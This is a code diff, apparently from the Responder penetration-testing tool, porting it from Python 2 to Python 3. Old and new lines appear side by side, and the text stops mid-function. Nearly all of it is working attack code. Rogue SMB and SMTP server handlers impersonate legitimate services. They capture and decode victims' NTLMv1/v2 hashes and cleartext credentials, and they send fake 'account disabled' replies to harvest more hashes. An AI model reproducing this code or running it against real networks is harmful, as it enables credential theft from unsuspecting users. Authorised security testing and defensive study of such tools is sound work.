Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE') Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:]) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
SaveToDb({ SaveToDb({
'module': 'SMB', 'module': 'SMB',
@ -139,13 +140,13 @@ def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2
LMhashLen = struct.unpack('<H',data[51:53])[0] LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0] NthashLen = struct.unpack('<H',data[53:55])[0]
Bcc = struct.unpack('<H',data[63:65])[0] Bcc = struct.unpack('<H',data[63:65])[0]
Username, Domain = tuple([e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]) Username, Domain = tuple([e.decode('latin-1') for e in data[89+NthashLen:Bcc+60].split(b'\x00\x00\x00')[:2]])
if NthashLen > 25: if NthashLen > 25:
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex') FullHash = codecs.encode(data[65+LMhashLen:65+LMhashLen+NthashLen],'hex')
LmHash = FullHash[:32].upper() LmHash = FullHash[:32].upper()
NtHash = FullHash[32:].upper() NtHash = FullHash[32:].upper()
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), LmHash, NtHash) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), LmHash.decode('latin-1'), NtHash.decode('latin-1'))
SaveToDb({ SaveToDb({
'module': 'SMB', 'module': 'SMB',
@ -157,10 +158,9 @@ def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2
}) })
if NthashLen == 24: if NthashLen == 24:
NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() NtHash = codecs.encode(data[65+LMhashLen:65+LMhashLen+NthashLen],'hex').upper()
LmHash = data[65:65+LMhashLen].encode('hex').upper() LmHash = codecs.encode(data[65:65+LMhashLen],'hex').upper()
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, Challenge.encode('hex')) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash.decode('latin-1'), NtHash.decode('latin-1'), codecs.encode(Challenge,'hex').decode('latin-1'))
SaveToDb({ SaveToDb({
'module': 'SMB', 'module': 'SMB',
'type': 'NTLMv1', 'type': 'NTLMv1',
@ -184,7 +184,7 @@ def IsNT4ClearTxt(data, client):
if PassLen > 2: if PassLen > 2:
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) print(text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)))
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
@ -206,84 +206,86 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
except: except:
raise
pass pass
##Negotiate proto answer SMBv2. ##Negotiate proto answer SMBv2.
if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data): if data[8:10] == b"\x72\x00" and re.search(b"SMB 2.\?\?\?", data):
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00") head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
t = SMB2NegoAns() t = SMB2NegoAns()
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(buffer1) self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(1024) data = self.request.recv(1024)
## Session Setup 1 answer SMBv2. ## Session Setup 1 answer SMBv2.
if data[16:18] == "\x00\x00" and data[4:5] == "\xfe": if data[16:18] == b"\x00\x00" and data[4:5] == b"\xfe":
head = SMB2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data)) head = SMB2Header(MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'))
t = SMB2NegoAns(Dialect="\x10\x02") t = SMB2NegoAns(Dialect="\x10\x02")
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(buffer1) self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(1024) data = self.request.recv(1024)
## Session Setup 2 answer SMBv2. ## Session Setup 2 answer SMBv2.
if data[16:18] == "\x01\x00" and data[4:5] == "\xfe": if data[16:18] == b"\x01\x00" and data[4:5] == b"\xfe":
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0") head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), SessionID=GrabSessionID(data).decode('latin-1'),NTStatus="\x16\x00\x00\xc0")
t = SMB2Session1Data(NTLMSSPNtServerChallenge=Challenge) t = SMB2Session1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(buffer1) self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(1024) data = self.request.recv(1024)
## Session Setup 3 answer SMBv2. ## Session Setup 3 answer SMBv2.
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe": if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' and data[4:5] == b'\xfe':
ParseSMBHash(data, self.client_address[0], Challenge) ParseSMBHash(data, self.client_address[0], Challenge)
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data)) head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
t = SMB2Session2Data() t = SMB2Session2Data()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(buffer1) self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(1024) data = self.request.recv(1024)
# Negotiate Protocol Response smbv1 # Negotiate Protocol Response smbv1
if data[8:10] == "\x72\x00" and data[4:5] == "\xff" and re.search("SMB 2.\?\?\?", data) == None: if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(b'SMB 2.\?\?\?', data) == None:
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data)))
Body.calculate() Body.calculate()
Packet = str(Header)+str(Body) packet1 = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # Session Setup AndX Request smbv1 if data[8:10] == b"\x73\x00" and data[4:5] == b"\xff": # Session Setup AndX Request smbv1
IsNT4ClearTxt(data, self.client_address[0]) IsNT4ClearTxt(data, self.client_address[0])
# STATUS_MORE_PROCESSING_REQUIRED # STATUS_MORE_PROCESSING_REQUIRED
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",mid=midcalc(NetworkRecvBufferPython2or3(data)))
if settings.Config.CaptureMultipleCredentials and self.ntry == 0: if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH") Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge), NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
else: else:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Body.calculate() Body.calculate()
Packet = str(Header)+str(Body) packet1 = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # STATUS_SUCCESS if data[8:10] == b"\x73\x00" and data[4:5] == b"\xff": # STATUS_SUCCESS
if Is_Anonymous(data): if Is_Anonymous(data):
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Body = SMBSessEmpty() Body = SMBSessEmpty()
Packet = str(Header)+str(Body) packet1 = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
else: else:
# Parse NTLMSSP_AUTH packet # Parse NTLMSSP_AUTH packet
@ -291,81 +293,39 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
if settings.Config.CaptureMultipleCredentials and self.ntry == 0: if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
# Send ACCOUNT_DISABLED to get multiple hashes if there are any # Send ACCOUNT_DISABLED to get multiple hashes if there are any
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Body = SMBSessEmpty() Body = SMBSessEmpty()
Packet = str(Header)+str(Body) packet1 = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
self.ntry += 1 self.ntry += 1
continue continue
# Send STATUS_SUCCESS # Send STATUS_SUCCESS
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Body = SMBSession2Accept() Body = SMBSession2Accept()
Body.calculate() Body.calculate()
Packet = str(Header)+str(Body) packet1 = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[8:10] == "\x75\x00" and data[4:5] == "\xff": # Tree Connect AndX Request if data[8:10] == b"\x75\x00" and data[4:5] == b"\xff": # Tree Connect AndX Request
ParseShare(data) ParseShare(data)
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(NetworkRecvBufferPython2or3(data)), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(NetworkRecvBufferPython2or3(data)))
Body = SMBTreeData() Body = SMBTreeData()
Body.calculate() Body.calculate()
Packet = str(Header)+str(Body) packet1 = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[8:10] == "\x71\x00" and data[4:5] == "\xff": #Tree Disconnect
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
if data[8:10] == "\xa2\x00" and data[4:5] == "\xff": #NT_CREATE Access Denied.
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
if data[8:10] == "\x25\x00" and data[4:5] == "\xff": # Trans2 Access Denied.
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
if data[8:10] == "\x74\x00" and data[4:5] == "\xff": # LogOff
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x02\xff\x00\x27\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
except: except:
pass pass
@ -376,32 +336,32 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
self.request.settimeout(0.5) self.request.settimeout(0.5)
data = self.request.recv(1024) data = self.request.recv(1024)
Challenge = RandomChallenge() Challenge = RandomChallenge()
if data[0] == "\x81": #session request 139 if data[0] == b"\x81": #session request 139
Buffer = "\x82\x00\x00\x00" Buffer = "\x82\x00\x00\x00"
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[8:10] == "\x72\x00": #Negotiate proto answer. if data[8:10] == b"\x72\x00": #Negotiate proto answer.
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge) Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data)),Domain="",Key=NetworkRecvBufferPython2or3(Challenge))
Body.calculate() Body.calculate()
Packet = str(head)+str(Body) Packet = str(head)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[8:10] == "\x73\x00": #Session Setup AndX Request if data[8:10] == b"\x73\x00": #Session Setup AndX Request
if Is_LMNT_Anonymous(data): if Is_LMNT_Anonymous(data):
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Packet = str(head)+str(SMBSessEmpty()) Packet = str(head)+str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
else: else:
ParseLMNTHash(data,self.client_address[0], Challenge) ParseLMNTHash(data,self.client_address[0], Challenge)
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Packet = str(head) + str(SMBSessEmpty()) Packet = str(head) + str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024) data = self.request.recv(1024)
except Exception: except Exception:
self.request.close() self.request.close()

View file

@ -16,6 +16,9 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import * from utils import *
from base64 import b64decode from base64 import b64decode
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
@ -23,19 +26,19 @@ class ESMTP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
self.request.send(str(SMTPGreeting())) self.request.send(NetworkSendBufferPython2or3(SMTPGreeting()))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[0:4] == "EHLO" or data[0:4] == "ehlo": if data[0:4] == b'EHLO' or data[0:4] == b'ehlo':
self.request.send(str(SMTPAUTH())) self.request.send(NetworkSendBufferPython2or3(SMTPAUTH()))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[0:4] == "AUTH": if data[0:4] == b'AUTH':
AuthPlain = re.findall(r'(?<=AUTH PLAIN )[^\r]*', data) AuthPlain = re.findall(b'(?<=AUTH PLAIN )[^\r]*', data)
if AuthPlain: if AuthPlain:
User = filter(None, b64decode(AuthPlain[0]).split('\x00')) User = list(filter(None, b64decode(AuthPlain[0]).split(b'\x00')))
Username = User[0] Username = User[0].decode('latin-1')
Password = User[1] Password = User[1].decode('latin-1')
SaveToDb({ SaveToDb({
'module': 'SMTP', 'module': 'SMTP',
@ -47,18 +50,18 @@ class ESMTP(BaseRequestHandler):
}) })
else: else:
self.request.send(str(SMTPAUTH1())) self.request.send(NetworkSendBufferPython2or3(SMTPAUTH1()))
data = self.request.recv(1024) data = self.request.recv(1024)
if data: if data:
try: try:
User = filter(None, b64decode(data).split('\x00')) User = list(filter(None, b64decode(data).split(b'\x00')))
Username = User[0] Username = User[0].decode('latin-1')
Password = User[1] Password = User[1].decode('latin-1')
except: except:
Username = b64decode(data) Username = b64decode(data).decode('latin-1')
self.request.send(str(SMTPAUTH2())) self.request.send(NetworkSendBufferPython2or3(SMTPAUTH2()))
data = self.request.recv(1024) data = self.request.recv(1024)
if data: if data:
@ -75,5 +78,4 @@ class ESMTP(BaseRequestHandler):
}) })
except Exception: except Exception:
raise
pass pass

View file

@ -14,13 +14,16 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import utils import utils, sys
if (sys.version_info > (3, 0)):
import configparser as ConfigParser
else:
import ConfigParser import ConfigParser
import subprocess import subprocess
from utils import * from utils import *
__version__ = 'Responder 2.3.4.0' __version__ = 'Responder 3.0.0.0'
class Settings: class Settings:
@ -66,13 +69,17 @@ class Settings:
def populate(self, options): def populate(self, options):
if options.Interface is None and utils.IsOsX() is False: if options.Interface is None and utils.IsOsX() is False:
print utils.color("Error: -I <if> mandatory option is missing", 1) print(utils.color("Error: -I <if> mandatory option is missing", 1))
sys.exit(-1) sys.exit(-1)
if options.Interface == "ALL" and options.OURIP == None: if options.Interface == "ALL" and options.OURIP == None:
print utils.color("Error: -i is missing.\nWhen using -I ALL you need to provide your current ip address", 1) print(utils.color("Error: -i is missing.\nWhen using -I ALL you need to provide your current ip address", 1))
sys.exit(-1) sys.exit(-1)
#Python version
if (sys.version_info > (3, 0)):
self.PY2OR3 = "PY3"
else:
self.PY2OR3 = "PY2"
# Config parsing # Config parsing
config = ConfigParser.ConfigParser() config = ConfigParser.ConfigParser()
config.read(os.path.join(self.ResponderPATH, 'Responder.conf')) config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
@ -136,20 +143,20 @@ class Settings:
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject') self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
if not os.path.exists(self.Html_Filename): if not os.path.exists(self.Html_Filename):
print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1) print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
if not os.path.exists(self.Exe_Filename): if not os.path.exists(self.Exe_Filename):
print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1) print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
# SSL Options # SSL Options
self.SSLKey = config.get('HTTPS Server', 'SSLKey') self.SSLKey = config.get('HTTPS Server', 'SSLKey')
self.SSLCert = config.get('HTTPS Server', 'SSLCert') self.SSLCert = config.get('HTTPS Server', 'SSLCert')
# Respond to hosts # Respond to hosts
self.RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
self.RespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]) self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
self.DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]) self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
# Auto Ignore List # Auto Ignore List
self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess')) self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
@ -200,7 +207,7 @@ class Settings:
self.NumChal = "random" self.NumChal = "random"
if len(self.NumChal) is not 16 and not "random": if len(self.NumChal) is not 16 and not "random":
print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1) print(utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1))
sys.exit(-1) sys.exit(-1)
self.Challenge = "" self.Challenge = ""
@ -255,7 +262,7 @@ class Settings:
utils.DumpConfig(self.ResponderConfigDump, Message) utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self)) utils.DumpConfig(self.ResponderConfigDump,str(self))
except AttributeError as ex: except AttributeError as ex:
print "Missing Module:", ex print("Missing Module:", ex)
pass pass
def init(): def init():

View file

@ -16,13 +16,13 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys import sys
import os import os
import thread import _thread
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
sys.path.insert(0, BASEDIR) sys.path.insert(0, BASEDIR)
from servers.Browser import WorkstationFingerPrint, RequestType, RAPThisDomain, RapFinger from servers.Browser import WorkstationFingerPrint, RequestType, RAPThisDomain, RapFinger
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler from socketserver import UDPServer, ThreadingMixIn, BaseRequestHandler
from threading import Lock from threading import Lock
from utils import * from utils import *
@ -59,7 +59,7 @@ def ParseRoles(data):
'Domain Enum': (ord(data[3]) >> 7) & 1, 'Domain Enum': (ord(data[3]) >> 7) & 1,
} }
return ', '.join(k for k,v in AllRoles.items() if v == 1) return ', '.join(k for k,v in list(AllRoles.items()) if v == 1)
class BrowserListener(BaseRequestHandler): class BrowserListener(BaseRequestHandler):
@ -80,14 +80,14 @@ class BrowserListener(BaseRequestHandler):
Fprint = WorkstationFingerPrint(data[190:192]) Fprint = WorkstationFingerPrint(data[190:192])
Roles = ParseRoles(data[192:196]) Roles = ParseRoles(data[192:196])
print text("[BROWSER] Request Type : %s" % ReqType) print(text("[BROWSER] Request Type : %s" % ReqType))
print text("[BROWSER] Address : %s" % self.client_address[0]) print(text("[BROWSER] Address : %s" % self.client_address[0]))
print text("[BROWSER] Domain : %s" % Domain) print(text("[BROWSER] Domain : %s" % Domain))
print text("[BROWSER] Name : %s" % Name) print(text("[BROWSER] Name : %s" % Name))
print text("[BROWSER] Main Role : %s" % Role1) print(text("[BROWSER] Main Role : %s" % Role1))
print text("[BROWSER] 2nd Role : %s" % Role2) print(text("[BROWSER] 2nd Role : %s" % Role2))
print text("[BROWSER] Fingerprint : %s" % Fprint) print(text("[BROWSER] Fingerprint : %s" % Fprint))
print text("[BROWSER] Role List : %s" % Roles) print(text("[BROWSER] Role List : %s" % Roles))
RAPThisDomain(self.client_address[0], Domain) RAPThisDomain(self.client_address[0], Domain)
@ -104,12 +104,12 @@ def serve_thread_udp_broadcast(host, port, handler):
server = ThreadingUDPServer(('', port), handler) server = ThreadingUDPServer(('', port), handler)
server.serve_forever() server.serve_forever()
except: except:
